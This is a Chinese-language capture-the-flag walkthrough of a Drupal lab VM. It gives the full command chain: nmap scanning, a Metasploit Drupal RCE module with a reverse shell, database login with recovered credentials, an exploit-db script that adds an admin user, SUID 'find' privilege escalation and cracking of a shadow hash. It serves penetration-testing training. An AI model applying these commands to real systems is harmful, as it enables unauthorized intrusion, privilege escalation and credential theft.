某靶机渗透测试思路详解

环境搭建

靶机下载地址

虚拟机导入靶机

导入虚拟机之后,可直接开始了,这里靶机的地址我们也不知道,完全的黑盒测试,攻击机为kali

信息搜集

首先需要测试靶机的ip地址是多少

netdiscover -n 192.168.0.102/24

参数命令详解

可能会报错,具体原因不清楚,这里建议使用

image-20220326202847206

因为使用的是vmware所以直接进本可以确定目标靶机的ip地址是192.168.0.119

扫描端口

nmap -sV 192.168.0.119

查看web服务

22端口尝试爆破

111端口的利用经过搜索只是能利用内存造成溢出使靶机崩溃,并没有什么利用手法

思路+方式

针对Drupal搜索一下,发现该cms存在RCE漏洞,直接利用msf的攻击模块可以操作。

msfconsole

search druapl

首先想到的是use 3因为,后面的描述,但是实际情况是use 4才能够拿到shell

use 4

set rhost 192.168.0.119

set lhost 192.168.0.102

exploit

执行shell命令

使用ls遍历文件,看到flag1.txt,直接cat命令打开

cat flag1.txt

这是flag2文件的条件思路,要看配置文件的内容,

着实操作有点难受,实现交互式shell的几种方式尝试一下,也就python好用

python -c 'import pty;pty.spawn("/bin/bash")'

舒服多了,找配置文件使用命令去查找

grep -rn "set" *

但是还是没找到文件位置

grep -rn "settings.php" *

至于说为什么找set,是因为config的字符串找不到配置文件,配置文件位置在

/var/www/sites/default/settings.php

查找是否存在flag

grep -i "flag" settings.php

找到flag2

下面的数据库信息是给出的flag3的线索

登录mysql数据库

mysql -udbuser -pR0ck3t

show databases;

use drupaldb;

show tables;

select * from users;

拿到admin的md5的值

因为admin1为刚才我们尝试注册进入后台的时候创建的,以为kali自带的爆破工具john可以爆破,无果,,但是想要进入后台就算想要使用密码进入,使用sql语句修改密码也得有对应的加密后的密码来替换,但是此时我们并不清楚密码的生成规则是什么,查询一下cms的版本信息

grep -rn "version" *

基本上可以确定这个cms的版本应该为7.24

searchsploit drupal

从cms版本信息看这些漏洞基本上都可以利用,百度了一下,知道Drupal的

这个脚本利用可以直接增加管理员用户,所以这个方法应该是比较简单的方式进入后台,进入msf工具的exp目录下

cd /usr/share/exploitdb/exploits/php/webapps

python 34992.py -t http://192.168.0.119 -u admin3 -p 123456

登录后拿到flag3,且根据提示

需要查询shadow文件,下一个flag似乎跟这个有关,那么似乎考点就是suid提权。使用find命令查看拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

使用suid提权查看用户权限

find /usr/bin/passwd -exec "whoami" \;

提权

find /usr/bin/passwd -exec "/bin/sh" \;

查看shadow文件

里面存在flag4的用户

flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::

john直接解密

flag4/orange
由于再信息搜集的阶段发现22端口是开放的。所以ssh登录,这里登录的目标变为104是因为,虚拟机出问题重启了之后重新分配ip地址了,所以靶机的ip地址又被分配为了192.168.0.104

ssh flag4@192.168.0.104

拿到flag4,同样的方式获取到根目录的flag,即flag5

查找suid文件

find / -perm -u=s -type f 2>/dev/null

提权

find /usr/bin/find -exec "/bin/sh" \;

读取thefinalflag.txt

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

小结

基本上没有什么特别的难点,只是一些手段和方法,msf的使用和suid提权的方式读取flag,其次就是再使用工具的过程中解题方法不要只是局限于某一种方法,搜集的信息也肯定能利用的到,前后联系,基本上没有问题。

    说点什么吧...